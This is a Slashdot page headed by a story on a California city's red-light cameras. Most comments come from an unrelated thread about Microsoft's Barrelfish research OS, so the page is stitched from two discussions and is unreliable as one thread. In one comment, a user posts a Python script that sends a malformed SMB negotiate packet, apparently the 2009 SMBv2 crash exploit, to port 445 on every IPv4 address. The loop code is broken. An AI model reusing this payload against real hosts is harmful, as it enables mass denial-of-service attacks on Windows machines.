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CA City Mulls Evading the Law On Red-Light Cameras 366

Posted by kdawson
from the wrong-on-so-many-levels dept.
TechDirt is running a piece on Corona, CA, where officials are considering ignoring a California law that authorizes red-light cameras — cutting the state and the county out of their portion of the take — in order to increase the city's revenue. The story was first reported a week ago. The majority of tickets are being (automatically) issued for "California stops" before a right turn on red, which studies have shown rarely contribute to an accident. TechDirt notes the apparent unconstitutionality of what Corona proposes to do: "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. The city could simply deny all hearings for administrative violations or schedule them far out in advance knowing full well that they have your money, which you had to pay before you could appeal."
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Microsoft Releases Prototype of Research OS "Barrelfish"

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  • weird (Score:2, Interesting)

    by Anonymous Coward on Friday September 25, 2009 @03:10AM (#29537045)

    This is an open source project, and just from some brief looks at the source they are using grub as the boot loader. This might be a new beginning for microsoft research.

  • by bmo (77928) on Friday September 25, 2009 @03:19AM (#29537087)

    Imagine what might have happened if this actually got momentum behind it and we never went through the stagnation that is DOS/Windows.

    http://en.wikipedia.org/wiki/Atari_Transputer_Workstation [wikipedia.org]

    --
    BMO

  • Re:weird (Score:4, Interesting)

    by ozmanjusri (601766) <aussie_bob&hotmail,com> on Friday September 25, 2009 @03:23AM (#29537101) Journal
    Not so weird really

    Firstly, this is a collaboration with ETH Zurich, not exclusively a Microsoft project, and secondly, the OS isn't available under any existing license. to quote:

    Excluding some third-party libraries, which are covered by various BSD-like open source licenses, Barrelfish is released under the following license (also included in the download):

    Copyright (c) 2007, 2008, 2009, ETH Zurich and Microsoft Corporation. All rights reserved.

    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    1. * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    2. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
    3. * The names of the authors may not be used to endorse or promote products derived from this software without specific prior written permission.

    It's great that this source will be open for study, at least at this early stage, but it's very likely to be locked away under copyright and/or patents by the time it becomes useful.

  • by Janek Kozicki (722688) on Friday September 25, 2009 @03:29AM (#29537117) Journal

    that's a surprise. http://www.barrelfish.org/barrelfish_sosp09.pdf [barrelfish.org]

  • by mcrbids (148650) on Friday September 25, 2009 @03:52AM (#29537211) Journal

    It was more of a programming language than an Operating System, but ERLANG has the stuff to do multi-core, well. Using ERLANG, they've actually achieved nine nines of uptime. That works out to well under a SECOND of downtime in a year. It scales (near) linearly as the number of cores go up, IO is the limitation.

    You can read all about it here. [pragprog.com] Concepts like message passing and immutability is what makes it work.

    Erlang actually lets you update the program while it's running. It has extensive error recovery. It's lack of shared state means you can not only go multi-core, but multi-system over networks - invisibly.

    Seriously, It's the cat's meow for ultra-high-end high-performance, industrial-grade software solutions. If I were writing a stock exchange management system, I would probably consider ERLANG.

  • by Shag (3737) on Friday September 25, 2009 @03:55AM (#29537233) Homepage

    It's a little hard to determine whether this is actually about discrete multicore systems, or heterogenous clusters. Sure, a single conventional machine is likely to have both CPU and GPU, but it's less likely to have x86_64, x86 and CPUs. So to some extent, I suspect heterogenous clusters. In the case of a single box, this would come across as a massive prototyping effort simply to avoid supporting an open-tracked standard (OpenCL).

  • by OrangeTide (124937) on Friday September 25, 2009 @04:01AM (#29537255) Homepage Journal

    I would like something that is a combination of Inferno/Plan9(styx is nice) and Erlang as a stand-alone OS. Throw in any other cool features for good multiprocessor and high performance clustering and fault tolerance. (Although if Erlang-like, I would like some better syntax, it's a little hairy). The idea of being able to scale to 20 million threads on one system efficiently with Erlang is intriguing, although I estimated that it would take about 48GiB of RAM to just have the stack data. But that's not so bad, it's pretty easy to find an affordable server motherboard that can accept 64GiB of RAM. (installing all that RAM is moderately expensive though)

  • by juliangamble (1277928) on Friday September 25, 2009 @04:25AM (#29537331)
    Anybody remember connection machine LISP? http://en.wikipedia.org/wiki/Connection_Machine [wikipedia.org] http://portal.acm.org/citation.cfm?id=319870 [acm.org]
  • by CxDoo (918501) on Friday September 25, 2009 @05:02AM (#29537457)

    Wow, that's some heavy shit you've been smoking.

    Ease of use is their no 1 selling point, no one comes even close. If there were easily deployable and maintainable alternatives to their products they would at least start penetrating the small business market, which is where easy & cheap are the king.

    Ever wonder why Random Small Company uses Windows stack all the way when they don't _really_ need full blown Active Directory, Exchange & SQL Server? It is not because they're stupid and don't know better. It's because it is _cheaper_ to deploy & maintain SBS with 5 licenses and have Joe The Point & Click Administrator come show them how to click their way through 10 scenarios they'll need to handle than to look for, employ and be afraid of Linux (or whatever) Guru, not to mention that they'll need to retrain everyone from Office stack to whatever combination they'd need. And what for? Have you even seen what is the price of Small Business Server?
    As I said, not even close.

    And when it gets close, MS will start giving SBS for free. Can't beat them on price. You have to beat them on easy.

  • by Anonymous Coward on Friday September 25, 2009 @05:35AM (#29537543)

    In the build notes... it points that they're building it not in Microsoft(R) Windows(TM) but in recent Debian/Ubuntu distros...

    What makes me think... why didn't they choose the Windows OS?

    Any idea?

    PD: This' not a flamewar post, it's just curious about if building 64 bits apps (OS in this case) is harder in a Windows machine rathen than in a Linux one.

  • by RiotingPacifist (1228016) on Friday September 25, 2009 @06:26AM (#29537691)

    Imagine what might have happened if this actually got momentum behind it and we never went through the stagnation that is DOS/Windows.

    I think i just came a little.

  • by 1s44c (552956) on Friday September 25, 2009 @06:45AM (#29537759)

    I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

    Can you provide an example of this ?

    I can provide a few.

    MS-DOS was QDOS brought and rebranded. MS didn't create it yet they told everyone they did.

    The windows desktop environment was a mac or PARC or X clone, not sure which. It wasn't new but they pushed it like it was.

    The Windows NT OS was reimplementation of VMS and UNIX systems, only not done nearly as well as either. They called it NT for New Technology and marketing it as the stable 'business' alternative to dos based windows.

    Excel was a Lotus 1-2-3 clone. The pivot tables accountants love so much were copied from Lotus too. They sell their office package like crazy but they didn't develop the core of it.

    Word was a wordstar clone.

    Internet Explorer was a mosaic clone. Although MS are giving it away for nothing they are still marketing it like crazy.

    Active Directory is just a LDAP clone. They market it as something which will solve all the worlds problems.

  • by RiotingPacifist (1228016) on Friday September 25, 2009 @06:47AM (#29537769)

    Can you provide details on how to replicate this behaviour ?

    Install python
    run:
    #!/usr/bin/python
    from socket import socket
    from time import sleep

    while True:
            for a in 255:
                    for b in 255:
                            for c in 255:
                                    for d in 255:
                                    ip_addr = a+"."+b+"."+c+"."+d
                                    host = id_addr, 445
                                    buff = (
                                    "\x00\x00\x00\x90" # Begin SMB header: Session message
                                    "\xff\x53\x4d\x42" # Server Component: SMB
                                    "\x72\x00\x00\x00" # Negociate Protocol
                                    "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
                                    "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
                                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
                                    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
                                    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
                                    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
                                    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
                                    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
                                    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
                                    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
                                    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
                                    "\x30\x30\x32\x00"

                                    )
                                    s = socket()

                                    s.connect(host)
                                    s.send(buff)
                                    s.close()

  • Re:weird (Score:3, Interesting)

    by Jacques Chester (151652) on Friday September 25, 2009 @07:59AM (#29538047)

    If they publish papers about it, then it can't be patented. That's the first thing a patent lawyer asks: "Who have you told?".

    Followed by: "How much money do you have? Gimme!"

  • What the.... (Score:5, Interesting)

    by RingDev (879105) on Friday September 25, 2009 @11:51AM (#29540353) Homepage Journal

    I don't know what the outage was, but why am I reading comments about open source code, routing, and marshaling in the comments about a constitutional overstep by a local municipality in CA?

    -Rick

  • Right to a jury?! (Score:2, Interesting)

    by matunos (1587263) on Friday September 25, 2009 @12:38PM (#29540885)
    Where in this country does someone have a right to a jury for a moving violation? Right to a jury is guaranteed only for criminal cases. Traffic infractions are not criminal infractions unless they rise to a misdemeanor level.
  • by cdrguru (88047) on Friday September 25, 2009 @01:11PM (#29541217) Homepage

    The problem is that only by an extremely strict interpretation to red-light cameras violate the constitution. What people aren't saying here is that under the Sixth Amendment theory, all red-light cameras, speed cameras, photo radar, doppler radar and LIDAR systems violate the Sixth Amendment because you can't cross-examine a radar gun. Or a red-light camera. If that is the device that is actually accusing you of speeding, what are you supposed to do?

    Well, nobody in the government actually believes in that interpretation. Try to defend yourself against a speeding ticket using this defense and you will be laughed out of court.

    The problem is that if we allow the police to use any tools other than their eyes to enforce the law we will be subject to these tools having significant, if not sole, input into a prosecution. I would say you have the same problem when a mass spectrometer is used and the results clearly identify a person has having been in contact with a murder weapon. Can you cross-examine the mass spectrometer? No? Then obviously the case must be thrown out. Might as well pass a law against technology in law enforcement.

    Obviously the Sixth Amendment argument is pointless.

    Now, evidently in this case California state law insists on revenue sharing for red light cameras and this city wants to ignore the revenue sharing and keep all the money. This is hardly a legal matter but a state administrative issue and isn't going to affect anything except how the money is disbursed from red light camera fines. Some hearing panel in Sacramento will have to deal with this.

  • by dgatwood (11270) on Friday September 25, 2009 @01:28PM (#29541449) Journal

    On the subject of red light cameras, if they become administrative violations, IMHO, the right solution is to simply not pay them. The DMV almost certainly won't refuse to renew your license for such administrative violations because the law only allows parking violations and a few other things to be handled in that manner.. As such, the tickets probably have no teeth unless you do other business with the city and they have laws that would allow them to refuse to do other business with you until you pay the fees.

  • by TheCarp (96830) * <sjc@@@carpanet...net> on Friday September 25, 2009 @01:51PM (#29541721) Homepage

    A better question is: Is not having to choose between getting a ticket or slamming on your breaks at a newly shortened yellow light cycle and being rear-ended really that important to you?

    Or how about Is it really so important to you that the city/state (and by extension, insurance companies) raise more money that you are willing to take measures that have been shown to INCREASE the number of traffic accidents? Is it really worth it to burden people with hundreds and hundreds of dollars worth of tickets for maneuvers like "california stops" that have been shown to not actually impact safety?

    Those seem like far better questions.

    -Steve

  • Re:Constitutional? (Score:4, Interesting)

    by DerekLyons (302214) <fairwater AT gmail DOT com> on Friday September 25, 2009 @02:11PM (#29541959) Homepage

    Could someone send a copy of the applicable amendments and supporting court decisions to Washington State?

    No, they can't - because they don't exist. I don't know of anywhere in the country where traffic violations (that is, those that don't count as misdemeanors or other criminal violations) are treated as criminal violations - which do require a trial by jury. IOW, the OP is just making shit up.

  • by Technician (215283) on Friday September 25, 2009 @02:36PM (#29542269)

    I think one way to fight this is to use the approach that some cyclists use in the "Critical Mass" approach to cycling safety.

    If a grass roots protest was formed by simply stopping at ALL red lights and waiting for a green would soon gridlock traffic. Until the tickets go away for turning on red, not turning on red to avoid the new tax is the solution to show the impact it has on drivers. Stopping for the red and waiting for the green saves you the ticket as well as the line behind you.

  • by NotOverHere (1526201) on Friday September 25, 2009 @03:21PM (#29542747)

    TFS notes that the politicians seem more annoyed that they are being cut out of the money, not how it affects the citizens.

    They tried this in Springfield MO (sorry pay access to the local paper I read daily) http://pqasb.pqarchiver.com/news_leader/access/1691011761.html?FMT=ABS&date=Jan+13,+2009 [pqarchiver.com]

    They don't even have to prove that you were driving to be ticketed, just the owner is ticketed... So there goes old fashion habeas corpus out the door. There is no reasonable means of redress if there is any issue, since it is just an administrational issue, not a criminal one. They also claimed that it was for "safety", except that they put them on the intersections with the most traffic, not the most accidents per intersection, or accidents per unit of traffic.

    If you could contest it like any other ticket in court, then it might stop being an illegal attack of a government on it's citizens.

  • by cayenne8 (626475) on Friday September 25, 2009 @03:42PM (#29543019) Homepage Journal
    "On the subject of red light cameras, if they become administrative violations, IMHO, the right solution is to simply not pay them. The DMV almost certainly won't refuse to renew your license for such administrative violations because the law only allows parking violations and a few other things to be handled in that manner.. As such, the tickets probably have no teeth unless you do other business with the city and they have laws that would allow them to refuse to do other business with you until you pay the fees."

    That is how they are trying to get away with the red light cams in the New Orleans/Metairie area..the administrative approach.

    I had heard one person recently, had done what you suggested, and did not pay...and is suing to get out of them.

    I need to check back in on this, but, last I heard, there was a lawsuit to have the cameras removed as being (state) unconstitutional, in that every traffic law is supposed to be enforced equally, and since they don't have these cameras on EVERY redlight in the state...they are illegal to have in the few they do have.

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